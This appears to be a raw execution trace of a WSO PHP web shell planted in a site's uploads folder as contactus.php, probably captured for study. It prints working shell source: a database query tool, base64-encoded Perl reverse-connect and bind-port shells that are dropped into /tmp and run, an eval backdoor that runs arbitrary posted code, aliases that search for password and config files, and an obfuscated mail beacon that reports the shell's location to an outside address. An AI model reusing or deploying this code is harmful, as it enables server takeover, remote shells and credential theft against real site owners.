"</nobr><br>";\n\t\t\t\t}\n\t\t\t\techo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\n\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\n\t\t\t\t\t$_POST[\'p1\'] = \'query\';\n                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\n\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\n\t\t\t\t\t$num = $db->fetch();\n\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\n                    echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\n                    echo " of $pages";\n                    if($_POST[\'p3\'] > 1)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";\n                    if($_POST[\'p3\'] < $pages)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";\n                    $_POST[\'p3\']--;\n\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\n\t\t\t\t\telse\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\n\t\t\t\t\techo "<br><br>";\n\t\t\t\t}\n\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\n\t\t\t\t\t$db->query(@$_POST[\'p2\']);\n\t\t\t\t\tif($db->res !== false) {\n\t\t\t\t\t\t$title = false;\n\t\t\t\t\t\techo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';\n\t\t\t\t\t\t$line = 1;\n\t\t\t\t\t\twhile($item = $db->fetch())\t{\n\t\t\t\t\t\t\tif(!$title)\t{\n\t\t\t\t\t\t\t\techo \'<tr>\';\n\t\t\t\t\t\t\t\tforeach($item as $key => $value)\n\t\t\t\t\t\t\t\t\techo \'<th>\'.$key.\'</th>\';\n\t\t\t\t\t\t\t\treset($item);\n\t\t\t\t\t\t\t\t$title=true;\n\t\t\t\t\t\t\t\techo \'</tr><tr>\';\n\t\t\t\t\t\t\t\t$line = 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'<tr class="l\'.$line.\'">\';\n\t\t\t\t\t\t\t$line = $line==1?2:1;\n\t\t\t\t\t\t\tforeach($item as $key => $value) {\n\t\t\t\t\t\t\t\tif($value == null)\n\t\t\t\t\t\t\t\t\techo \'<td><i>null</i></td>\';\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\techo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'</tr>\';\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \'</table>\';\n\t\t\t\t\t} else {\n\t\t\t\t\t\techo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\techo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\n                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\n                    echo htmlspecialchars($_POST[\'p2\']);\n                echo "</textarea><br/><input type=submit value=\'Execute\'>";\n\t\t\t\techo "</td></tr>";\n\t\t\t}\n\t\t\techo "</table></form><br/>";\n            if($_POST[\'type\']==\'mysql\') {\n                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\n                if($db->fetch())\n                    echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";\n            }\n\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\n\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\n\t\t\t\techo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\n\t\t\t}\n\t} else {\n        echo htmlspecialchars($db->error());\n    }\n\techo \'</div>\';\n\twsoFooter();\n}\nfunction actionNetwork() {\n\twsoHeader();\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\n\n$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\n\techo "<h1>Network tools</h1><div class=content>\n\t<form name=\'nfp\' onSubmit=\\"g(null,null,\'bpp\',this.port.value);return false;\\">\n\t<span>Bind port to /bin/sh [perl]</span><br/>\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n\t</form>\n\t<form name=\'nfp\' onSubmit=\\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\\">\n\t<span>Back-connect  [perl]</span><br/>\n\tServer: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n\t</form><br>";\n\tif(isset($_POST[\'p1\'])) {\n\t\tfunction cf($f,$t) {\n\t\t\t$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');\n\t\t\tif($w){\n\t\t\t\t@fwrite($w,@base64_decode($t));\n\t\t\t\t@fclose($w);\n\t\t\t}\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpp\') {\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\n\t\t\t$out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");\n            sleep(1);\n\t\t\techo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bp.pl")."</pre>";\n            unlink("/tmp/bp.pl");\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcp\') {\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\n\t\t\t$out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");\n            sleep(1);\n\t\t\techo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bc.pl")."</pre>";\n            unlink("/tmp/bc.pl");\n\t\t}\n\t}\n\techo \'</div>\';\n\twsoFooter();\n}\nfunction actionRC() {\n\tif(!@$_POST[\'p1\']) {\n\t\t$a = array(\n\t\t\t"uname" => php_uname(),\n\t\t\t"php_version" => phpversion(),\n\t\t\t"wso_version" => WSO_VERSION,\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\n\t\t);\n\t\techo serialize($a);\n\t} else {\n\t\teval($_POST[\'p1\']);\n\t}\n}\nif( empty($_POST[\'a\']) )\n\tif(isset($default_action) && function_exists(\'action\' . $default_action))\n\t\t$_POST[\'a\'] = $default_action;\n\telse\n\t\t$_POST[\'a\'] = \'SecInfo\';\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\n\tcall_user_func(\'action\' . $_POST[\'a\']);\nexit;'	/var/www/html/uploads/contactus.php	1	0
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	1	$color = '#df5'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	2	$default_action = 'FilesMan'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	3	$default_use_ajax = TRUE
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	4	$default_charset = 'Windows-1251'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	7	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
3	10	0	0.006185	1027576	implode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	8	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
3	10	1	0.006207	1027720
3	10	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
3	11	0	0.006225	1027656	preg_match	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	8	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i'	'python-requests/2.25.1'
3	11	1	0.006244	1027720
3	11	R			0
3	12	0	0.006258	1027576	ini_set	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	13	2	'error_log'	NULL
3	12	1	0.006274	1027648
3	12	R			''
3	13	0	0.006287	1027576	ini_set	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	14	2	'log_errors'	0
3	13	1	0.006302	1027648
3	13	R			'1'
3	14	0	0.006315	1027576	ini_set	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	15	2	'max_execution_time'	0
3	14	1	0.006330	1027680
3	14	R			'30'
3	15	0	0.006343	1027576	set_time_limit	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	16	1	0
3	15	1	0.006358	1027640
3	15	R			FALSE
3	16	0	0.006372	1027608	define	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	17	2	'VERSION'	'4.2.5'
3	16	1	0.006387	1027712
3	16	R			TRUE
3	17	0	0.006400	1027640	get_magic_quotes_gpc	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	18	0
3	17	1	0.006413	1027640
3	17	R			FALSE
3	18	0	0.006426	1027640	substr	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	39	3	'Linux'	0	3
3	18	1	0.006441	1027768
3	18	R			'Lin'
3	19	0	0.006454	1027672	strtolower	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	39	1	'Lin'
3	19	1	0.006467	1027736
3	19	R			'lin'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	42	$os = 'nix'
3	20	0	0.006491	1027640	ini_get	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	44	1	'safe_mode'
3	20	1	0.006505	1027672
3	20	R			FALSE
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	44	$safe_mode = FALSE
3	21	0	0.006530	1027640	error_reporting	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	46	1	0
3	21	1	0.006543	1027680
3	21	R			22527
3	22	0	0.006556	1027640	ini_get	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	48	1	'disable_functions'
3	22	1	0.006573	1028120
3	22	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	48	$disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3	23	0	0.006638	1028088	getcwd	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	49	0
3	23	1	0.006655	1028136
3	23	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	49	$home_cwd = '/var/www/html/uploads'
3	24	0	0.006682	1028136	getcwd	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	52	0
3	24	1	0.006695	1028184
3	24	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	52	$cwd = '/var/www/html/uploads'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	58	$cwd .= '/'
3	25	0	0.006738	1028184	md5	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	60	1	'localhost'
3	25	1	0.006752	1028280
3	25	R			'421aa90e079fa326b6494f812ad13e79'
3	26	0	0.006768	1028184	md5	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	61	1	'localhost'
3	26	1	0.006781	1028280
3	26	R			'421aa90e079fa326b6494f812ad13e79'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	61	_COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	77	$aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find suid' => 'find / -type f -perm -04000 -ls', 'find suid in current dir' => 'find . -type f -perm -04000 -ls', 'find sgid' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php' => 'find / -type f -name config.inc.php', 'find config*' => 'find / -type f -name "config*"', 'find config* in current dir' => 'find . -type f -name "config*"', 'find writable folders and files' => 'find / -perm -2 -ls', 'find writable folders and files in current dir' => 'find . -perm -2 -ls', 'find service.pwd' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find .htpasswd' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find .bash_history' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find .fetchmailrc' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf' => 'locate httpd.conf', 'locate vhosts.conf' => 'locate vhosts.conf', 'locate proftpd.conf' => 'locate proftpd.conf', 'locate psybnc.conf' => 'locate psybnc.conf', 'locate my.conf' => 'locate my.conf', 'locate admin.php' => 'locate admin.php', 'locate cfg.php' => 'locate cfg.php', 'locate conf.php' => 'locate conf.php', 'locate config.dat' => 'locate config.dat', 'locate config.php' => 'locate config.php', 'locate config.inc' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php' => 'locate config.default.php', 'locate config*' => 'locate config', 'locate .conf' => 'locate \'.conf\'', 'locate .pwd' => 'locate \'.pwd\'', 'locate .sql' => 'locate \'.sql\'', 'locate .htpasswd' => 'locate \'.htpasswd\'', 'locate .bash_history' => 'locate \'.bash_history\'', 'locate .mysql_history' => 'locate \'.mysql_history\'', 'locate .fetchmailrc' => 'locate \'.fetchmailrc\'', 'locate backup' => 'locate backup', 'locate dump' => 'locate dump', 'locate priv' => 'locate priv']
3	27	0	0.006877	1028624	function_exists	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	301	1	'posix_getpwuid'
3	27	1	0.006897	1028664
3	27	R			TRUE
3	28	0	0.006911	1028624	function_exists	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	303	1	'posix_getgrgid'
3	28	1	0.006925	1028664
3	28	R			TRUE
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	952	$_QliO8 = 'mail'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	952	$_Qliot = 'localhost/uploads/contactus.php'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	952	$_QlL1i = 'array localhost/uploads/contactus.php'
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	952	$_QlLio = [0 => 'ca', 1 => 'li', 2 => 'fwrite', 3 => '@', 4 => 've.']
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	952	$_Qll0I = 'fwrite@live.ca'
3	29	0	0.007003	1028784	mail	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	952	3	'fwrite@live.ca'	'array localhost/uploads/contactus.php'	'localhost/uploads/contactus.php'
3	29	1	0.008513	1028880
3	29	R			FALSE
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	952	$_QlljC = FALSE
3	30	0	0.008552	1028824	function_exists	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	1349	1	'actionFilesMan'
3	30	1	0.008569	1028864
3	30	R			TRUE
2		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	1350	_POST['a'] = 'FilesMan'
3	31	0	0.008598	1029200	function_exists	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	1353	1	'actionFilesMan'
3	31	1	0.008613	1029240
3	31	R			TRUE
3	32	0	0.008627	1029160	actionFilesMan	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	1354	0
4	33	0	0.008642	1029160	wsoHeader	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	634	0
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	128	_POST['charset'] = 'Windows-1251'
5	34	0	0.008671	1031720	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	166	1	'/var/www/html/uploads/'
5	34	1	0.008688	1031912
5	34	R			'/var/www/html/uploads/'
5	35	0	0.008704	1031720	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	167	1	'FilesMan'
5	35	1	0.008718	1031912
5	35	R			'FilesMan'
5	36	0	0.008732	1031720	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	168	1	'Windows-1251'
5	36	1	0.008746	1031912
5	36	R			'Windows-1251'
5	37	0	0.008762	1031720	strpos	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	169	2	NULL	'\n'
5	37	1	0.008777	1031792
5	37	R			FALSE
5	38	0	0.008792	1031720	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	169	2	NULL	3
5	38	1	0.008806	1031952
5	38	R			''
5	39	0	0.008820	1031720	strpos	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	170	2	NULL	'\n'
5	39	1	0.008840	1031792
5	39	R			FALSE
5	40	0	0.008854	1031720	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	170	2	NULL	3
5	40	1	0.008869	1031952
5	40	R			''
5	41	0	0.008883	1031720	strpos	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	171	2	NULL	'\n'
5	41	1	0.008897	1031792
5	41	R			FALSE
5	42	0	0.008910	1031720	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	171	2	NULL	3
5	42	1	0.008924	1031952
5	42	R			''
5	43	0	0.008938	1033256	addslashes	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	190	1	'/uploads/contactus.php'
5	43	1	0.008951	1033288
5	43	R			'/uploads/contactus.php'
5	44	0	0.008972	1029272	diskfreespace	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	222	1	'/var/www/html/uploads/'
5	44	1	0.008992	1029304
5	44	R			206255439872
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	222	$freeSpace = 206255439872
5	45	0	0.009019	1029272	disk_total_space	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	223	1	'/var/www/html/uploads/'
5	45	1	0.009035	1029304
5	45	R			232015802368
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	223	$totalSpace = 232015802368
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	224	$totalSpace = 232015802368
5	46	0	0.009074	1029272	php_uname	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	225	1	'r'
5	46	1	0.009088	1029352
5	46	R			'5.15.0-60-generic'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	225	$release = '5.15.0-60-generic'
5	47	0	0.009115	1029320	php_uname	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	226	1	's'
5	47	1	0.009128	1029384
5	47	R			'Linux'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	226	$kernel = 'Linux'
5	48	0	0.009153	1029352	function_exists	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	227	1	'posix_getegid'
5	48	1	0.009167	1029392
5	48	R			TRUE
5	49	0	0.009180	1029352	posix_geteuid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	233	0
5	49	1	0.009194	1029352
5	49	R			33
5	50	0	0.009206	1029352	posix_getpwuid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	233	1	33
5	50	1	0.009237	1030184
5	50	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	233	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5	51	0	0.009282	1030152	posix_getegid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	234	0
5	51	1	0.009295	1030152
5	51	R			33
5	52	0	0.009308	1030152	posix_getgrgid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	234	1	33
5	52	1	0.009335	1030816
5	52	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	234	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	235	$user = 'www-data'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	236	$uid = 33
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	237	$group = 'www-data'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	238	$gid = 33
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	241	$cwd_links = ''
5	53	0	0.009427	1029432	explode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	242	2	'/'	'/var/www/html/uploads/'
5	53	1	0.009442	1030040
5	53	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	242	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	243	$n = 6
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	244	$i = 0
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	245	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j = 0
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= '/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	248	$cwd_links .= '")\'>/</a>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	244	$i++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	245	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j = 0
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= '/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	248	$cwd_links .= '")\'>var/</a>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	244	$i++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	245	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j = 0
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= '/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	248	$cwd_links .= '")\'>www/</a>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	244	$i++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	245	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j = 0
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= '/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	248	$cwd_links .= '")\'>html/</a>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	244	$i++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	245	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j = 0
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= '/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	247	$cwd_links .= 'uploads/'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	248	$cwd_links .= '")\'>uploads/</a>'
